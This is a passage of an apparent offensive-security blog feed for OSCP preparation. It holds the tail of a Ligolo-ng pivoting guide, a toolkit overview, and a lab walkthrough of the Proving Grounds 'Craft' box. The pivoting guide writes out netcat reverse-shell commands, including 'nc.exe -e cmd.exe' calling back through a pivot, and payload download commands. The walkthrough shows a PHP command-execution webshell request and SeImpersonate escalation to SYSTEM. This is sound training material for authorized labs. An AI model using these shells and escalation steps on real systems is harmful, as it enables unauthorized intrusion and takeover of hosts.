<pre><code class="language-plaintext">rlwrap -cAr nc -lvnp 9999
</code></pre>
<p>The single most common mistake here is making the target call back to your Kali IP (<code>192.168.45.185</code>) or to <code>0.0.0.0</code>. Don't. <strong>The victim talks to the pivot. The pivot talks to Kali.</strong> Callback IP is always the pivot's internal IP.</p>
<h3>Port strategy</h3>
<p>Windows owns a lot of common ports, and policy filters others, so don't waste time fighting them. Good defaults that tend to just work: <code>9999</code>, <code>9998</code>, <code>10080</code>, <code>24444</code>. Avoid defaulting to <code>80</code>, <code>443</code>, <code>445</code>, <code>8000</code>, <code>8080</code>. If a port fails to bind, don't troubleshoot it, switch to a high uncommon one and move on:</p>
<pre><code class="language-plaintext">listener_add --addr 0.0.0.0:10080 --to 127.0.0.1:10080 --tcp
</code></pre>
<h3>File transfer through the pivot</h3>
<p>Same idea as a listener. The internal target can't reach Kali, but it can reach the pivot, so you forward your HTTP server through Ligolo.</p>
<pre><code class="language-plaintext"># Kali: serve the file
python3 -m http.server 9999 --bind 0.0.0.0

# Ligolo: forward the port
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp

# Target: download from the PIVOT IP, not Kali
iwr http://10.10.168.147:9999/nc.exe -OutFile C:\ProgramData\nc.exe
</code></pre>
<p>On Linux targets, <code>wget http://10.10.168.147:9999/linpeas.sh -O /tmp/linpeas.sh</code>. Same rule: the URL points at the pivot IP.</p>
<h3>Two ports beats one</h3>
<p>When you're transferring a file and catching a shell, don't reuse one port for both jobs. It causes confusing false negatives. Split them: HTTP on one, shell on another.</p>
<pre><code class="language-plaintext"># Kali
python3 -m http.server 9999 --bind 0.0.0.0
rlwrap -cAr nc -lvnp 9998

# Ligolo
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp
listener_add --addr 0.0.0.0:9998 --to 127.0.0.1:9998 --tcp

# Target: download on 9999, shell on 9998
iwr http://10.10.168.147:9999/nc.exe -OutFile C:\ProgramData\nc.exe
C:\ProgramData\nc.exe -e cmd.exe 10.10.168.147 9998
</code></pre>
<h3>Double pivot</h3>
<p>Deeper networks chain the same idea. Agent one on the first pivot routes you into the second network, you get a foothold on a second pivot in there, and agent two routes you deeper still. The mental model never changes: each hop is another route, and every rule in this article applies at every layer. The one thing that keeps double pivots sane is the discipline from Part 2, one clean agent per pivot, prove each leg before adding the next.</p>
<h3>Troubleshooting: prove the chain one leg at a time</h3>
<p>When a callback doesn't land, don't guess. Walk the path: <strong>target to pivot to Ligolo to Kali service.</strong> Check each leg in order and the broken one reveals itself.</p>
<ul>
<li><p><strong>Is the listener actually up?</strong> <code>listener_list</code></p>
</li>
<li><p><strong>Is your Kali service listening on the right port?</strong> <code>ss -lntp | grep 9999</code></p>
</li>
<li><p><strong>Can the target even reach the pivot port?</strong> From the target: <code>Test-NetConnection 10.10.168.147 -Port 9999</code></p>
</li>
<li><p><strong>Is traffic hitting Kali at all?</strong> <code>sudo tcpdump -ni any 'tcp port 9999'</code></p>
</li>
</ul>
<p>How to read it: if the target can't reach the pivot port, it's a pivot listener or routing problem. If the target reaches the pivot but Kali sees nothing, your Ligolo listener is wrong or dead. If Kali sees traffic on tcpdump but your <code>nc</code> or Python catches nothing, your Kali service is on the wrong port or wrong bind. Each symptom points at exactly one leg.</p>
<p><strong>Bind errors</strong> (<code>an attempt was made to access a socket in a way forbidden by its access permissions</code>) almost always mean the port is busy, reserved, or owned by Windows. Don't fight it, switch to <code>0.0.0.0</code> and a high uncommon port.</p>
<p><strong>If Ligolo just feels haunted</strong> (sessions dropping, routes disappearing, a listener that died for no reason), stop troubleshooting stale state. Kill duplicate agents, restart the proxy clean, run one agent. Nine times out of ten it was a duplicate agent.</p>
<pre><code class="language-plaintext">sudo pkill -f ligolo-proxy
sudo pkill -f ligolo
sudo ligolo-proxy -selfcert
</code></pre>
<h3>One SMB caveat worth knowing</h3>
<p>SMB is not like a normal high-port shell. Responder and SMB coercion want TCP <strong>445</strong>, and Windows almost always already owns 445 on the pivot (<code>netstat -ano | findstr ":445"</code>, and if PID 4 owns it, that's Windows SMB). A high-port Ligolo listener won't catch SMB the way it catches a normal reverse shell. If you have admin on the pivot you can free the port (<code>net stop server /y</code>) and forward 445, but don't assume high-port SMB "just works." It's the one protocol that breaks the simple pattern.</p>
<h2>Quick Reference</h2>
<pre><code class="language-plaintext"># Proxy (Kali), answer No to the WebUI prompt
sudo ligolo-proxy -selfcert

# Agent (Linux pivot)
./agent -connect 192.168.45.185:11601 -ignore-cert

# Agent (Windows pivot)
C:\ProgramData\agent.exe -connect 192.168.45.185:11601 -ignore-cert

# Tunnel + route (Kali / Ligolo console)
session
start
sudo ip route add 10.10.168.0/24 dev ligolo      # whole subnet
sudo ip route add 10.10.168.148/32 dev ligolo     # single host
nxc smb 10.10.168.148                             # prove it

# Listener (target calls back)
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp
# target calls the PIVOT IP: 10.10.168.147:9999

# Good ports: 9999 9998 10080 24444
# Avoid:      80 443 445 8000 8080
</code></pre>
<p><strong>The golden rule, one more time:</strong> routes are for Kali reaching in, listeners are for targets calling back. Get that straight and Ligolo is easy.</p>
<p>That's how I run Ligolo on every box. Next up in the toolkit, the NetExec deep dive. For the full walkthroughs where this pivoting shows up in a real kill chain, those are the box writeups on the rest of the blog.</p>
]]></content:encoded></item><item><title><![CDATA[The OSCP Toolkit: The Tools That Actually Carried Me]]></title><description><![CDATA[The offensive security tools I actually relied on while preparing for and passing OSCP, organized by the job they solve.
Hey everyone. I just officially passed the OSCP, and now that I'm on the other ]]></description><link>https://www.hack2harden.com/the-oscp-toolkit-the-tools-that-actually-carried-me</link><guid isPermaLink="true">https://www.hack2harden.com/the-oscp-toolkit-the-tools-that-actually-carried-me</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Mon, 10 Aug 2026 09:40:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e0dd6f07-3eea-4699-858f-dea3029e87f7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>The offensive security tools I actually relied on while preparing for and passing OSCP, organized by the job they solve.</em></p>
<p>Hey everyone. I just officially passed the OSCP, and now that I'm on the other side of it, I want to give back the way I wish more people had: not with a giant generic tool dump, but with the honest shortlist that actually carried me, organized by what you're actually trying to do.</p>
<p>This page is the hub for the entire toolkit. Each section starts with the job you're trying to accomplish, the tool I reach for, and why. As the series grows, each section will link to a dedicated deep dive covering my actual workflow, the commands I run, what I'm looking for in the output, and the mistakes that cost me time while learning it.</p>
<p>One thing that matters more than any tool here: know your exam rules. Automated exploitation tools like sqlmap are off-limits, and Metasploit is restricted to a single target. Confirm the current OffSec restrictions before you sit the exam.</p>
<h2>Port Scanning</h2>
<h3>Nmap</h3>
<p>Everything starts here, and most people rush it. Nmap is the foundation the whole box builds on, so know your scan flags cold and read the output line by line instead of skimming it. The service you overlook now is the foothold you miss later. Step one on every single target.</p>
<blockquote>
<p><em>Deep dive coming soon.</em></p>
</blockquote>
<h2>Web Enumeration and Directory Busting</h2>
<h3>ffuf</h3>
<p>Once you find an HTTP or HTTPS service, ffuf is how you uncover what the app doesn't advertise. Fast, clean, and reliable for finding hidden paths, files, and endpoints, and a good wordlist plus ffuf is what turns a boring web port into your way in.</p>
<blockquote>
<p><em>Deep dive coming soon.</em></p>
</blockquote>
<h2>Manual Web Application Testing</h2>
<h3>Burp Suite</h3>
<p>This is where hands-on web testing actually happens. Proxy the traffic, send requests to Repeater, and manipulate them by hand to understand how the app really behaves. Manual is the name of the game on this exam, and Burp is how you work manually.</p>
<blockquote>
<p><em>Deep dive coming soon.</em></p>
</blockquote>
<h2>Network and AD Enumeration</h2>
<h3>NetExec (nxc)</h3>
<p>This is your new best friend. NetExec is a straight-up AD Swiss army knife, and it shines brightest on SMB. Enumerate hosts, validate creds across the whole network at once, and spider shares to hunt for loot sitting in plain sight. It'll even do RPC-based user enumeration, rpcclient-style, so you can pull valid usernames without switching tools.</p>
<blockquote>
<p><a href="https://www.hack2harden.com/the-oscp-toolkit-netexec">https://www.hack2harden.com/the-oscp-toolkit-netexec</a></p>
</blockquote>
<h2>Active Directory Privilege Escalation and Object Abuse</h2>
<h3>bloodyAD</h3>
<p>When BloodHound or manual enumeration shows that your user can actually modify something in Active Directory, BloodyAD is how you turn that permission into action. Change ownership, grant yourself stronger rights, add users to groups, reset passwords, configure RBCD, abuse shadow credentials, and work through the AD object-control paths that can turn a low-privileged account into domain compromise.</p>
<blockquote>
<p><a href="https://www.hack2harden.com/the-oscp-toolkit-bloodyad">https://www.hack2harden.com/the-oscp-toolkit-bloodyad</a></p>
</blockquote>
<h2>Active Directory Attack Path Mapping</h2>
<h3>BloodHound + RustHound</h3>
<p><strong>BloodHound</strong> turns Active Directory relationships into attack paths you can actually reason about. Instead of manually piecing together group memberships, delegated permissions, sessions, ACLs, and privilege relationships, BloodHound shows how seemingly harmless access can chain together into a path toward higher privilege.</p>
<p><strong>RustHound</strong> handles the collection side, gathering Active Directory data that can then be imported into BloodHound for analysis.</p>
<p>This is where I go when basic enumeration stops being enough and I need to answer the bigger question: <strong>what can this account actually reach, control, or become?</strong></p>
<blockquote>
<p><a href="https://www.hack2harden.com/the-oscp-toolkit-bloodhound-rusthound-ce">https://www.hack2harden.com/the-oscp-toolkit-bloodhound-rusthound-ce</a></p>
</blockquote>
<h2>Password Attacks and Spraying</h2>
<h3>NetExec and Hydra</h3>
<p>Two tools, two jobs. For spraying a known password across a domain or validating creds at scale, NetExec does it cleanly and tells you exactly what each cred unlocks. For brute forcing a login on a specific service (SSH, FTP, HTTP forms), Hydra is the workhorse. Between them you cover both "does this password work anywhere" and "can I force my way into this one service."</p>
<blockquote>
<p><em>Deep dive coming soon.</em></p>
</blockquote>
<h2>Credential Access and Lateral Movement</h2>
<h3>Impacket</h3>
<p>The toolkit you keep coming back to. secretsdump for pulling hashes, psexec for shells, and a full set of scripts for ticket and authentication attacks. Once you understand what each script does, Impacket is how you turn creds or a hash into real movement across a domain.</p>
<blockquote>
<p><em>Deep dive coming soon.</em></p>
</blockquote>
<h2>Cracking Looted Hashes</h2>
<h3>John the Ripper</h3>
<p>For the hashes you pull along the way that you can't pass directly. Feed them to John, crack what you can, and reuse the plaintext. Password reuse across a domain is real, so a cracked hash often feeds straight back into NetExec or Impacket and opens a door you couldn't reach before.</p>
<blockquote>
<p><em>Deep dive coming soon.</em></p>
</blockquote>
<h2>Tunneling and Pivoting</h2>
<h3>Ligolo-ng</h3>
<p>This is where a lot of people lose the AD set. Instead of forwarding one port at a time like you would with a traditional port-forwarding workflow, you bring up a <code>tun</code> interface and route the target subnet through it. Anything the pivot can reach on that routed network becomes accessible through the tunnel, without building a new port forward for every service. Once I understood that mental model, I stopped wanting to pivot any other way.</p>
<blockquote>
<p><a href="https://www.hack2harden.com/the-oscp-toolkit-ligolo-ng">https://www.hack2harden.com/the-oscp-toolkit-ligolo-ng</a></p>
</blockquote>
<h2>Linux Privilege Escalation Enumeration</h2>
<h3>LinPEAS and pspy</h3>
<p>LinPEAS is an enumeration script that surfaces likely Linux privilege escalation paths so you know where to look. pspy solves a different problem: it lets a low-privileged user watch processes and scheduled tasks appear in real time, which is how you catch a cron job or recurring script that normal enumeration won't show you.</p>
<blockquote>
<p><em>Deep dive coming soon.</em></p>
</blockquote>
<h2>Windows Privilege Escalation Enumeration</h2>
<h3>WinPEAS and PrivescCheck</h3>
<p>WinPEAS and PrivescCheck are Windows privilege escalation enumeration tools that help surface misconfigurations, weak permissions, exposed credentials, vulnerable services, and other potential paths to higher privileges.</p>
<blockquote>
<p><em>Deep dive coming soon.</em></p>
</blockquote>
<h2>SeImpersonate to SYSTEM</h2>
<h3>SigmaPotato</h3>
<p>If SeImpersonatePrivilege shows up on a service account, Potato-style escalation immediately moves to the top of my list. SigmaPotato is my preferred modern Potato implementation, usually my first attempt because the setup is simple and, on a compatible target, it can turn that privilege into SYSTEM very quickly.</p>
<blockquote>
<p><em>Deep dive coming soon.</em></p>
</blockquote>
<h2>The One Thing That Beats Every Tool Here</h2>
<p>Tools don't pass the OSCP. Understanding does. Every tool on this list is only as good as your grasp of what it's doing and why, so lean on them to work faster, not to skip the fundamentals. Master the concepts and these just make you quicker at proving them.</p>
<p>That's the toolkit that carried me, organized the way you'll actually use it. This hub grows as the series does, so each section will link to its full deep dive as I publish them. For the full box writeups and methodology behind all of this, that's what the rest of the blog is for.</p>
<p>Good luck on the exam. You've got this.</p>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #27]]></title><description><![CDATA[Craft — Proving Grounds Practice Walkthrough
Author: Deonte Spencer Platform: OffSec Proving Grounds Practice Difficulty: Intermediate Category: Standalone (Windows — Web Upload to SYSTEM)

Introducti]]></description><link>https://www.hack2harden.com/oscp-prep-27</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-27</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Mon, 20 Jul 2026 01:31:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/50bb5baf-67bd-4998-955d-bbf2077d392e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Craft — Proving Grounds Practice Walkthrough</h2>
<p><strong>Author:</strong> Deonte Spencer <strong>Platform:</strong> OffSec Proving Grounds Practice <strong>Difficulty:</strong> Intermediate <strong>Category:</strong> Standalone (Windows — Web Upload to SYSTEM)</p>
<hr />
<h2>Introduction</h2>
<p>Craft is a Windows standalone box on OffSec's Proving Grounds Practice. On the surface it's a single open port and a static template website, but the path to SYSTEM chains three distinct misconfigurations, and each one taught me something worth writing down: a file-upload filter that only <em>looks</em> restrictive, a web root the wrong account can write to, and a service token privilege that hands you the box.</p>
<p>What makes Craft worth a full writeup isn't any single CVE, there isn't one. It's the <em>methodology</em>. Two moments on this box were genuine learning points for me. The first was recognizing that an "only ODT allowed" upload is still an execution vector when the server opens the document for you. The second, and the more important one, was the lateral pivot: I'd fallen into the habit of hunting for credentials, services, and vulnerable binaries every time I need to move between accounts, and I completely overlooked the simplest primitive in the book — <em>if you can write to a directory that executes code, you write your own shell there and run it as whoever owns that process.</em> I've given that its own section, because it's the reflex I most want to keep.</p>
<p>This writeup follows the whole chain from an empty terminal to <code>proof.txt</code>, and I've tried to explain the reasoning at each decision point rather than just listing what worked.</p>
<hr />
<h2>High-Level Summary</h2>
<p>Craft was assessed as a single Windows host exposing only a web server on port 80. The site included a file-upload feature restricted to OpenDocument Text (<code>.odt</code>) files, which the server opened and processed with LibreOffice. Because document macros were permitted, a crafted <code>.odt</code> produced code execution as the low-privileged <code>craft\thecybergeek</code> account.</p>
<p>From that foothold, the <code>thecybergeek</code> account was found to have write access to the XAMPP web root — a directory that Apache serves and executes as PHP. Placing a command-execution script there and requesting it over HTTP produced a second, parallel execution context as the <code>craft\apache</code> service account.</p>
<p>That service account held <code>SeImpersonatePrivilege</code>, which was abused with a token-impersonation ("potato") technique to escalate directly to <code>NT AUTHORITY\SYSTEM</code>, yielding full compromise of the host and both the user and root flags.</p>
<p><strong>Compromise path:</strong> <code>ODT upload → macro RCE (thecybergeek)</code> → <code>writable web root → RCE (apache)</code> → <code>SeImpersonate → SYSTEM</code>.</p>
<hr />
<h2>Methodologies</h2>
<h3>Information Gathering</h3>
<p>The scope was a single host, <code>192.168.212.169</code>. The objective was to obtain the user (<code>local.txt</code>) and root (<code>proof.txt</code>) flags.</p>
<h3>Service Enumeration</h3>
<p>The service enumeration phase focuses on identifying live services and understanding the attack surface before touching it.</p>
<p>My default first scan is <code>nmap -sCV -p-</code>, but on Craft that scan stalled during host discovery — the box was silently dropping ICMP/host-discovery probes and nmap concluded the host was down before it ever reached the port-scan phase. The fix is to skip host discovery entirely with <code>-Pn</code> and use a raw SYN sweep. This is worth internalizing as a default reflex over the OffSec VPN: <em>if a box the portal shows as "up" reports "host seems down," add</em> <code>-Pn</code> <em>— you are not looking at a dead host, you are looking at dropped discovery probes.</em></p>
<pre><code class="language-plaintext">┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ sudo nmap -Pn -n -sS -p- -vv --min-rate 2000 --max-retries 2 192.168.212.169
...
Discovered open port 80/tcp on 192.168.212.169
...
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 125
Nmap done: 1 IP address (1 host up) scanned in 65.85 seconds
</code></pre>
<p>A single open port (<code>80/tcp</code>), and a TTL of 125 pointing at a Windows target.</p>
<p><strong>Port scan results</strong></p>
<table>
<thead>
<tr>
<th>IP Address</th>
<th>Ports Open</th>
</tr>
</thead>
<tbody><tr>
<td>192.168.212.169</td>
<td>TCP: 80</td>
</tr>
</tbody></table>
<p>With only HTTP exposed, I moved to content discovery with <code>ffuf</code>, filtering out <code>403</code> responses:</p>
<pre><code class="language-plaintext">┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ ffuf -u http://192.168.212.169/FUZZ -w /usr/share/wordlists/elite.txt -fc 403
...
assets      [Status: 301, ...]
css         [Status: 301, ...]
js          [Status: 301, ...]
uploads     [Status: 301, ...]
uploads/    [Status: 200, ...]
index.php   [Status: 200, ...]
upload.php  [Status: 200, ...]
</code></pre>
<p>The site itself is a static "CRAFT" landing-page template. The interesting results are <code>uploads/</code> (a browsable directory) and <code>upload.php</code> (an upload form) — a classic upload-to-execution setup worth prioritizing.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/78f97346-3d1e-4b18-9357-d8b43578acd5.png" alt="" style="display:block;margin:0 auto" />

<h3>Penetration</h3>
<p>The penetration phase focuses on gaining and elevating access. Craft was fully compromised through the three findings documented below.</p>
<h3>Maintaining Access</h3>
<p>Access was maintained via interactive reverse shells caught on a local listener. In an authorized engagement this phase would also cover establishing a durable backdoor; for this lab, no persistence beyond the working shells was required.</p>
<h3>House Cleaning</h3>
<p>Artifacts staged during testing (<code>neo.php</code> in the web root, <code>nc.exe</code> and <code>sp.exe</code> in <code>C:\ProgramData</code>, and the uploaded document) would be removed at the end of a real engagement so no tooling or scripts are left behind on the target.</p>
<hr />
<h2>Target — Craft (192.168.212.169)</h2>
<h3>Finding 1 — Initial Access: Unrestricted Document Upload Leads to Macro Code Execution</h3>
<p><strong>Vulnerability Explanation:</strong> The <code>upload.php</code> endpoint accepts OpenDocument Text (<code>.odt</code>) files and processes them server-side with LibreOffice. Although the upload filter rejects other file types (including PHP), the application <em>opens</em> the submitted document, and macro execution is not disabled in the office environment. A document configured to run a macro on load therefore results in arbitrary command execution in the context of the account running the office process — <code>craft\thecybergeek</code>. The restrictive-looking "ODT only" filter provides no protection because the danger is in the server opening the document at all, not in the file extension.</p>
<p><strong>Vulnerability Fix:</strong> Do not open or render uploaded documents server-side. If document processing is required, run the office suite with macro security set to its highest level (macros disabled), process files in an isolated sandbox with no outbound network access, and run the handling service under a least-privileged account. Store uploads outside any path that is opened, executed, or served.</p>
<p><strong>Severity:</strong> Critical</p>
<p><strong>Steps to reproduce the attack:</strong></p>
<p>Browsing to <code>upload.php</code> shows a form that rejects anything other than an ODT file:</p>
<pre><code class="language-plaintext">File is not valid. Please submit ODT file
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e34c5846-50f8-4291-ad19-5189514cc0c5.png" alt="" style="display:block;margin:0 auto" />

<p>My first instinct was to upload a PHP webshell directly; the extension filter blocked it and I found no filter bypass. The pivot in thinking was noticing that the application's whole purpose is to <em>read</em> the submitted document — which means the ODT is being opened by an office process on the server. An OpenDocument file that carries a macro set to execute on open is therefore an execution vector, not just a data file.</p>
<p>I prepared a macro-enabled ODT configured to trigger a reverse connection when the document is opened, uploaded it through the form, and caught the resulting shell on a waiting listener:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/40f80eb6-d045-439c-9e91-4eea8daea5f9.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ rlwrap -cAr nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.45.245] from (UNKNOWN) [192.168.212.169] 50423
whoami
craft\thecybergeek
</code></pre>
<p><em>(Report-level note: I'm intentionally documenting this step at the vector level — the upload accepts ODT, the server opens it, and an auto-executing macro yields a shell — rather than reproducing the malicious macro's source. The finding, impact, and remediation are what matter for the report.)</em></p>
<p>The shell landed in <code>C:\Program Files\LibreOffice\program</code>, confirming the document was opened by LibreOffice running as <code>thecybergeek</code>. Basic enumeration of the account:</p>
<pre><code class="language-plaintext">PS C:\Program Files\LibreOffice\program&gt; whoami /all
USER INFORMATION
----------------
User Name          SID
================== ============================================
craft\thecybergeek S-1-5-21-537427935-490066102-1511301751-1001

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeCreateGlobalPrivilege       Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
</code></pre>
<p><code>thecybergeek</code> holds no immediately abusable privileges, <code>cmdkey /list</code> showed no stored credentials, and Winlogon carried no autologon secrets — so this account is a foothold, not a finish line.</p>
<p><strong>User flag (</strong><code>local.txt</code><strong>)</strong> — retrieved from the <code>thecybergeek</code> desktop:</p>
<pre><code class="language-plaintext">C:\Users\thecybergeek\Desktop&gt;type local.txt
9a7954e7770e49ad554f54ded0fa8eaa
</code></pre>
<hr />
<h3>Finding 2 — Lateral Movement: World-Writable Web Root Leads to Command Execution as apache</h3>
<p><strong>Vulnerability Explanation:</strong> The <code>craft\thecybergeek</code> account has write access to the XAMPP web root, <code>C:\xampp\htdocs</code>. That directory is served by Apache with PHP execution enabled. Any account able to write into a directory that executes server-side script can obtain command execution as the account that runs the web server — here, <code>craft\apache</code> — simply by writing a script into the web root and requesting it over HTTP. No credentials, vulnerable service, or exploitable binary is required; write access plus an executing path is the entire primitive.</p>
<p><strong>Vulnerability Fix:</strong> Apply least-privilege ACLs to the web root so that interactive and service accounts cannot write to content that Apache executes. Serve static content from a location that is not writable by application/service users, and keep any writable upload directory outside the script-executing path (and ideally configured to not execute scripts at all).</p>
<p><strong>Severity:</strong> High</p>
<p><strong>Steps to reproduce the attack:</strong></p>
<p>From the <code>thecybergeek</code> shell, I confirmed I could write into <code>C:\xampp\htdocs</code> by dropping a test file and listing the directory:</p>
<pre><code class="language-plaintext">PS C:\xampp\htdocs&gt; echo 'test' &gt; neo.txt
PS C:\xampp\htdocs&gt; gci
    Directory: C:\xampp\htdocs
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/13/2021   3:18 AM                assets
d-----        7/13/2021   3:18 AM                css
d-----        7/13/2021   3:18 AM                js
d-----        7/19/2026   5:09 PM                uploads
-a----         7/7/2021  10:53 AM           9635 index.php
-a----         7/19/2026   5:22 PM             14 neo.txt
-a----         7/7/2021   9:56 AM            835 upload.php
</code></pre>
<p>The write succeeded. I then placed a small PHP command-execution script into the web root (staged from my Kali box over HTTP) — a script that takes a command from a query-string parameter and runs it — and requested it in the browser, which executed the command as the Apache service account:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2c8fb3c4-8065-47fd-94d0-0d68eae9f086.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">http://192.168.212.169/neo.php?cmd=whoami
craft\apache
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/63b42898-5153-4441-a0b1-55337d92a269.png" alt="" style="display:block;margin:0 auto" />

<p>Upgrading to an interactive shell</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d285ed4f-2aad-4991-9409-2cea807c6802.png" alt="" style="display:block;margin:0 auto" />

<p>and enumerating the <code>apache</code> context revealed the actual escalation opportunity:</p>
<pre><code class="language-plaintext">PS C:\xampp\htdocs&gt; whoami /all
USER INFORMATION
----------------
User Name    SID
============ ============================================
craft\apache S-1-5-21-537427935-490066102-1511301751-1000

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
</code></pre>
<p>The <code>apache</code> account holds <code>SeImpersonatePrivilege</code> — the key to SYSTEM.</p>
<blockquote>
<h3>Methodology callout — the primitive I keep forgetting</h3>
<p>This pivot is the lesson of the box, so it gets its own box. I spent longer than I should have here because my instinct on a new account is always the same loop: hunt for stored credentials, look for misconfigured services, check for vulnerable binaries, scan for interesting files. All of that skipped past the simplest fact in front of me — <code>thecybergeek</code> <strong>could write to a directory that Apache executes.</strong></p>
<p>When you can write to any path that runs code — a web root with PHP, a scheduled-task script directory, a cron path, a startup folder — you don't need to <em>find</em> an execution primitive. You <em>are</em> the execution primitive. You write your own payload there and let the owning process run it, and you inherit that process's identity.</p>
<p><strong>Reflex to keep:</strong> on every new foothold, before enumerating creds and services, ask one question first — <em>what can this account write to that something else will execute?</em> If the answer is "a code-executing path owned by a more useful account," that's often the shortest line to the next identity.</p>
</blockquote>
<hr />
<h3>Finding 3 — Privilege Escalation: SeImpersonatePrivilege Leads to SYSTEM</h3>
<p><strong>Vulnerability Explanation:</strong> The <code>craft\apache</code> service account holds <code>SeImpersonatePrivilege</code>. This privilege permits a process to impersonate the security tokens of clients that connect to it. A well-known class of "potato" techniques abuses this by coercing a privileged service to authenticate to an attacker-controlled endpoint, capturing and impersonating the resulting <code>NT AUTHORITY\SYSTEM</code> token, and using it to spawn a process as SYSTEM. Any account running with this privilege on an affected Windows build can therefore escalate to full system control.</p>
<p><strong>Vulnerability Fix:</strong> Do not grant <code>SeImpersonatePrivilege</code> to service accounts that do not strictly require it, and run web/application services under the most restrictive account possible. Keep the OS current with security updates, since the specific coercion vectors these tools rely on are addressed over time by patching.</p>
<p><strong>Severity:</strong> Critical</p>
<p><strong>Steps to reproduce the attack:</strong></p>
<p>From my Kali box I staged a static <code>netcat</code> binary and a token-impersonation tool (SigmaPotato) using a temporary Python HTTP server, then pulled them onto the target into a writable, non-privileged-blocked directory (<code>C:\ProgramData</code>):</p>
<p>On Kali:</p>
<pre><code class="language-plaintext">┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
</code></pre>
<p>On the target:</p>
<pre><code class="language-plaintext">PS C:\&gt; cd ProgramData
PS C:\ProgramData&gt; curl http://192.168.45.245/nc.exe -o nc.exe
PS C:\ProgramData&gt; curl http://192.168.45.245/sp.exe -o sp.exe
</code></pre>
<p>I then executed the impersonation tool, instructing it to launch the netcat binary as a reverse shell back to my listener. The tool coerced a SYSTEM token and created the process under it:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ddecbc45-7696-4479-86e3-e29e971ded82.png" alt="" style="display:block;margin:0 auto" />

<p>The reverse shell arrived on my listener as SYSTEM:</p>
<pre><code class="language-plaintext">┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ rlwrap -cAr nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.45.245] from (UNKNOWN) [192.168.212.169] 50603
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&gt;whoami
nt authority\system
</code></pre>
<h3>Post-Exploitation</h3>
<p>With a SYSTEM shell, I retrieved the root flag from the Administrator desktop:</p>
<pre><code class="language-plaintext">C:\Users\Administrator\Desktop&gt;type proof.txt
4b0acac6964c70653c2a1e2b92d06299
</code></pre>
<hr />
<h2>Proof Summary</h2>
<table>
<thead>
<tr>
<th>Flag</th>
<th>Location</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td><code>local.txt</code> (user)</td>
<td><code>C:\Users\thecybergeek\Desktop</code></td>
<td><code>9a7954e7770e49ad554f54ded0fa8eaa</code></td>
</tr>
<tr>
<td><code>proof.txt</code> (root)</td>
<td><code>C:\Users\Administrator\Desktop</code></td>
<td><code>4b0acac6964c70653c2a1e2b92d06299</code></td>
</tr>
</tbody></table>
<hr />
<h2>Takeaways</h2>
<p>Craft is a clean lesson in chaining unglamorous misconfigurations. Three reflexes I'm keeping from it:</p>
<ol>
<li><p><strong>"Host seems down" over the VPN means</strong> <code>-Pn</code><strong>, not a dead box.</strong> Blocked discovery probes stop nmap before the port scan; skip discovery and SYN-sweep.</p>
</li>
<li><p><strong>A restrictive-looking upload filter can still be an execution vector</strong> if the server opens the file it accepts. "ODT only" is not safe when the server renders the ODT.</p>
</li>
<li><p><strong>Write access to a code-executing path <em>is</em> an execution primitive.</strong> Before hunting creds, services, and binaries on a new account, ask what that account can write that something more privileged will run. It's frequently the shortest path to the next identity — and it's the one I most needed to relearn.</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #26]]></title><description><![CDATA[Nagoya — Proving Grounds Practice Walkthrough
Author: Deonte Spencer Platform: OffSec Proving Grounds Practice Difficulty: Hard Category: Active Directory (Full Domain Compromise)

Table of Contents

